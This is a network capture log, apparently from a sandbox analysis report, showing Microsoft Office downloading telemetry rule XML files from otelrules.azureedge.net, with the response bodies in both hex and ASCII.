2024-11-20 11:58:21 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-20 11:58:21 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-20 11:58:21 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-20 11:58:21 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-20 11:58:21 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-20 11:58:21 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-20 11:58:21 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-20 11:58:22 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-20 11:58:22 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-20 11:58:22 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:22 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:22 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:22 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f909c6c7-c01e-0049-518c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115822Z-185f5d8b95cmd8vfhC1NYC0g40000000061g00000000cay7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:22 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:22 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:22 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:22 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8753231e-501e-008f-038c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115822Z-1777c6cb754xlpjshC1TEBv8cc00000009kg00000000k3sk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:22 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:22 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:22 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115822Z-185f5d8b95cjbkr4hC1NYCeu2400000009xg00000000kvmh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:22 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:22 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:22 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e579fe48-a01e-001e-648c-3a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115822Z-r1d97b99577tssmjhC1TEB8kan00000008s00000000063dg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:22 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:22 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:22 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:22 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 884d2a23-a01e-00ab-5b8c-3a9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115822Z-185f5d8b95ctl8xlhC1NYCn94g0000000aa00000000069hd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:22 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:23 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:23 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115823Z-r1d97b99577jlrkbhC1TEBq8d000000008p000000000bk38 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:23 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
